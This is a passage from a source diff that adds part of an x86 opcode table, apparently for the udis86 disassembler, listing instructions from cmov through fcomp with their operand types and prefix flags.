O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0097 */ { UD_Icmovge, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0098 */ { UD_Icmovle, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0099 */ { UD_Icmovg, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0100 */ { UD_Icmp, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0101 */ { UD_Icmp, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0102 */ { UD_Icmp, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0103 */ { UD_Icmp, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0104 */ { UD_Icmp, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0105 */ { UD_Icmp, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0106 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0107 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 0108 */ { UD_Icmp, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0109 */ { UD_Icmp, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0110 */ { UD_Icmppd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0111 */ { UD_Ivcmppd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0112 */ { UD_Icmpps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0113 */ { UD_Ivcmpps, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0114 */ { UD_Icmpsb, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_seg }, + /* 0115 */ { UD_Icmpsw, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw|P_seg }, + /* 0116 */ { UD_Icmpsd, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw|P_seg }, + /* 0117 */ { UD_Icmpsd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0118 */ { UD_Ivcmpsd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0119 */ { UD_Icmpsq, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw|P_seg }, + /* 0120 */ { UD_Icmpss, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0121 */ { UD_Ivcmpss, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0122 */ { UD_Icmpxchg, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0123 */ { UD_Icmpxchg, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0124 */ { UD_Icmpxchg8b, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0125 */ { UD_Icmpxchg8b, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0126 */ { UD_Icmpxchg16b, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0127 */ { UD_Icomisd, O_Vsd, O_Wsd, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0128 */ { UD_Ivcomisd, O_Vsd, O_Wsd, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0129 */ { UD_Icomiss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0130 */ { UD_Ivcomiss, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0131 */ { UD_Icpuid, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0132 */ { UD_Icvtdq2pd, O_V, O_Wdq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0133 */ { UD_Ivcvtdq2pd, O_Vx, O_Wdq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0134 */ { UD_Icvtdq2ps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0135 */ { UD_Ivcvtdq2ps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0136 */ { UD_Icvtpd2dq, O_Vdq, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0137 */ { UD_Ivcvtpd2dq, O_Vdq, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0138 */ { UD_Icvtpd2pi, O_P, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0139 */ { UD_Icvtpd2ps, O_Vdq, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0140 */ { UD_Ivcvtpd2ps, O_Vdq, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0141 */ { UD_Icvtpi2ps, O_V, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0142 */ { UD_Icvtpi2pd, O_V, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0143 */ { UD_Icvtps2dq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0144 */ { UD_Ivcvtps2dq, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0145 */ { UD_Icvtps2pd, O_V, O_Wdq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0146 */ { UD_Ivcvtps2pd, O_Vx, O_Wdq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0147 */ { UD_Icvtps2pi, O_P, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0148 */ { UD_Icvtsd2si, O_Gy, O_MqU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0149 */ { UD_Ivcvtsd2si, O_Gy, O_MqU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0150 */ { UD_Icvtsd2ss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0151 */ { UD_Ivcvtsd2ss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0152 */ { UD_Icvtsi2sd, O_V, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0153 */ { UD_Ivcvtsi2sd, O_Vx, O_Hx, O_Ey, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0154 */ { UD_Icvtsi2ss, O_V, O_Ey, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0155 */ { UD_Ivcvtsi2ss, O_Vx, O_Hx, O_Ey, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0156 */ { UD_Icvtss2sd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0157 */ { UD_Ivcvtss2sd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0158 */ { UD_Icvtss2si, O_Gy, O_MdU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0159 */ { UD_Ivcvtss2si, O_Gy, O_MdU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0160 */ { UD_Icvttpd2dq, O_Vdq, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0161 */ { UD_Ivcvttpd2dq, O_Vdq, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0162 */ { UD_Icvttpd2pi, O_P, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0163 */ { UD_Icvttps2dq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0164 */ { UD_Ivcvttps2dq, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0165 */ { UD_Icvttps2pi, O_P, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0166 */ { UD_Icvttsd2si, O_Gy, O_MqU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0167 */ { UD_Ivcvttsd2si, O_Gy, O_MqU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0168 */ { UD_Icvttss2si, O_Gy, O_MdU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0169 */ { UD_Ivcvttss2si, O_Gy, O_MdU, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0170 */ { UD_Icwd, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0171 */ { UD_Icdq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0172 */ { UD_Icqo, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0173 */ { UD_Idaa, O_NONE, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0174 */ { UD_Idas, O_NONE, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 0175 */ { UD_Idec, O_R0z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0176 */ { UD_Idec, O_R1z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0177 */ { UD_Idec, O_R2z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0178 */ { UD_Idec, O_R3z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0179 */ { UD_Idec, O_R4z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0180 */ { UD_Idec, O_R5z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0181 */ { UD_Idec, O_R6z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0182 */ { UD_Idec, O_R7z, O_NONE, O_NONE, O_NONE, P_oso }, + /* 0183 */ { UD_Idec, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0184 */ { UD_Idec, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0185 */ { UD_Idiv, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0186 */ { UD_Idiv, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0187 */ { UD_Idivpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0188 */ { UD_Ivdivpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0189 */ { UD_Idivps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0190 */ { UD_Ivdivps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0191 */ { UD_Idivsd, O_V, O_MqU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0192 */ { UD_Ivdivsd, O_Vx, O_Hx, O_MqU, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0193 */ { UD_Idivss, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0194 */ { UD_Ivdivss, O_Vx, O_Hx, O_MdU, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0195 */ { UD_Idppd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0196 */ { UD_Ivdppd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0197 */ { UD_Idpps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0198 */ { UD_Ivdpps, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0199 */ { UD_Iemms, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0200 */ { UD_Ienter, O_Iw, O_Ib, O_NONE, O_NONE, P_def64 }, + /* 0201 */ { UD_Iextractps, O_MdRy, O_V, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0202 */ { UD_Ivextractps, O_MdRy, O_Vx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0203 */ { UD_If2xm1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0204 */ { UD_Ifabs, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0205 */ { UD_Ifadd, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0206 */ { UD_Ifadd, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0207 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0208 */ { UD_Ifadd, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0209 */ { UD_Ifadd, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0210 */ { UD_Ifadd, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0211 */ { UD_Ifadd, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0212 */ { UD_Ifadd, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0213 */ { UD_Ifadd, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0214 */ { UD_Ifadd, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0215 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0216 */ { UD_Ifadd, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0217 */ { UD_Ifadd, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0218 */ { UD_Ifadd, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0219 */ { UD_Ifadd, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0220 */ { UD_Ifadd, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0221 */ { UD_Ifadd, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0222 */ { UD_Ifadd, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0223 */ { UD_Ifaddp, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0224 */ { UD_Ifaddp, O_ST1, O_ST0, O_NONE, O_NONE, P_none }, + /* 0225 */ { UD_Ifaddp, O_ST2, O_ST0, O_NONE, O_NONE, P_none }, + /* 0226 */ { UD_Ifaddp, O_ST3, O_ST0, O_NONE, O_NONE, P_none }, + /* 0227 */ { UD_Ifaddp, O_ST4, O_ST0, O_NONE, O_NONE, P_none }, + /* 0228 */ { UD_Ifaddp, O_ST5, O_ST0, O_NONE, O_NONE, P_none }, + /* 0229 */ { UD_Ifaddp, O_ST6, O_ST0, O_NONE, O_NONE, P_none }, + /* 0230 */ { UD_Ifaddp, O_ST7, O_ST0, O_NONE, O_NONE, P_none }, + /* 0231 */ { UD_Ifbld, O_Mt, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0232 */ { UD_Ifbstp, O_Mt, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0233 */ { UD_Ifchs, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0234 */ { UD_Ifclex, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0235 */ { UD_Ifcmovb, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0236 */ { UD_Ifcmovb, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0237 */ { UD_Ifcmovb, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0238 */ { UD_Ifcmovb, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0239 */ { UD_Ifcmovb, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0240 */ { UD_Ifcmovb, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0241 */ { UD_Ifcmovb, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0242 */ { UD_Ifcmovb, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0243 */ { UD_Ifcmove, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0244 */ { UD_Ifcmove, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0245 */ { UD_Ifcmove, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0246 */ { UD_Ifcmove, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0247 */ { UD_Ifcmove, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0248 */ { UD_Ifcmove, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0249 */ { UD_Ifcmove, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0250 */ { UD_Ifcmove, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0251 */ { UD_Ifcmovbe, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0252 */ { UD_Ifcmovbe, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0253 */ { UD_Ifcmovbe, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0254 */ { UD_Ifcmovbe, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0255 */ { UD_Ifcmovbe, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0256 */ { UD_Ifcmovbe, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0257 */ { UD_Ifcmovbe, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0258 */ { UD_Ifcmovbe, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0259 */ { UD_Ifcmovu, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0260 */ { UD_Ifcmovu, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0261 */ { UD_Ifcmovu, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0262 */ { UD_Ifcmovu, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0263 */ { UD_Ifcmovu, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0264 */ { UD_Ifcmovu, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0265 */ { UD_Ifcmovu, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0266 */ { UD_Ifcmovu, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0267 */ { UD_Ifcmovnb, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0268 */ { UD_Ifcmovnb, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0269 */ { UD_Ifcmovnb, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0270 */ { UD_Ifcmovnb, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0271 */ { UD_Ifcmovnb, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0272 */ { UD_Ifcmovnb, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0273 */ { UD_Ifcmovnb, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0274 */ { UD_Ifcmovnb, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0275 */ { UD_Ifcmovne, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0276 */ { UD_Ifcmovne, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0277 */ { UD_Ifcmovne, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0278 */ { UD_Ifcmovne, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0279 */ { UD_Ifcmovne, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0280 */ { UD_Ifcmovne, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0281 */ { UD_Ifcmovne, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0282 */ { UD_Ifcmovne, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0283 */ { UD_Ifcmovnbe, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0284 */ { UD_Ifcmovnbe, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0285 */ { UD_Ifcmovnbe, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0286 */ { UD_Ifcmovnbe, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0287 */ { UD_Ifcmovnbe, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0288 */ { UD_Ifcmovnbe, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0289 */ { UD_Ifcmovnbe, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0290 */ { UD_Ifcmovnbe, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0291 */ { UD_Ifcmovnu, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0292 */ { UD_Ifcmovnu, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0293 */ { UD_Ifcmovnu, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0294 */ { UD_Ifcmovnu, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0295 */ { UD_Ifcmovnu, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0296 */ { UD_Ifcmovnu, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0297 */ { UD_Ifcmovnu, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0298 */ { UD_Ifcmovnu, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0299 */ { UD_Ifucomi, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0300 */ { UD_Ifucomi, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0301 */ { UD_Ifucomi, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0302 */ { UD_Ifucomi, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0303 */ { UD_Ifucomi, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0304 */ { UD_Ifucomi, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0305 */ { UD_Ifucomi, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0306 */ { UD_Ifucomi, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0307 */ { UD_Ifcom, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0308 */ { UD_Ifcom, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0309 */ { UD_Ifcom, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0310 */ { UD_Ifcom, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0311 */ { UD_Ifcom, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0312 */ { UD_Ifcom, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0313 */ { UD_Ifcom, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0314 */ { UD_Ifcom, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0315 */ { UD_Ifcom, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0316 */ { UD_Ifcom, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0317 */ { UD_Ifcom2, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0318 */ { UD_Ifcom2, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0319 */ { UD_Ifcom2, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0320 */ { UD_Ifcom2, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0321 */ { UD_Ifcom2, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0322 */ { UD_Ifcom2, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0323 */ { UD_Ifcom2, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0324 */ { UD_Ifcom2, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0325 */ { UD_Ifcomp3, O_ST0, O_NONE, O_NONE, O_NONE, P_none }, + /* 0326 */ { UD_Ifcomp3, O_ST1, O_NONE, O_NONE, O_NONE, P_none }, + /* 0327 */ { UD_Ifcomp3, O_ST2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0328 */ { UD_Ifcomp3, O_ST3, O_NONE, O_NONE, O_NONE, P_none }, + /* 0329 */ { UD_Ifcomp3, O_ST4, O_NONE, O_NONE, O_NONE, P_none }, + /* 0330 */ { UD_Ifcomp3, O_ST5, O_NONE, O_NONE, O_NONE, P_none }, + /* 0331 */ { UD_Ifcomp3, O_ST6, O_NONE, O_NONE, O_NONE, P_none }, + /* 0332 */ { UD_Ifcomp3, O_ST7, O_NONE, O_NONE, O_NONE, P_none }, + /* 0333 */ { UD_Ifcomi, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0334 */ { UD_Ifcomi, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0335 */ { UD_Ifcomi, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0336 */ { UD_Ifcomi, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0337 */ { UD_Ifcomi, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0338 */ { UD_Ifcomi, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0339 */ { UD_Ifcomi, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0340 */ { UD_Ifcomi, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0341 */ { UD_Ifucomip, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0342 */ { UD_Ifucomip, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0343 */ { UD_Ifucomip, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0344 */ { UD_Ifucomip, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0345 */ { UD_Ifucomip, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0346 */ { UD_Ifucomip, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0347 */ { UD_Ifucomip, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0348 */ { UD_Ifucomip, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0349 */ { UD_Ifcomip, O_ST0, O_ST0, O_NONE, O_NONE, P_none }, + /* 0350 */ { UD_Ifcomip, O_ST0, O_ST1, O_NONE, O_NONE, P_none }, + /* 0351 */ { UD_Ifcomip, O_ST0, O_ST2, O_NONE, O_NONE, P_none }, + /* 0352 */ { UD_Ifcomip, O_ST0, O_ST3, O_NONE, O_NONE, P_none }, + /* 0353 */ { UD_Ifcomip, O_ST0, O_ST4, O_NONE, O_NONE, P_none }, + /* 0354 */ { UD_Ifcomip, O_ST0, O_ST5, O_NONE, O_NONE, P_none }, + /* 0355 */ { UD_Ifcomip, O_ST0, O_ST6, O_NONE, O_NONE, P_none }, + /* 0356 */ { UD_Ifcomip, O_ST0, O_ST7, O_NONE, O_NONE, P_none }, + /* 0357 */ { UD_Ifcomp, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0358 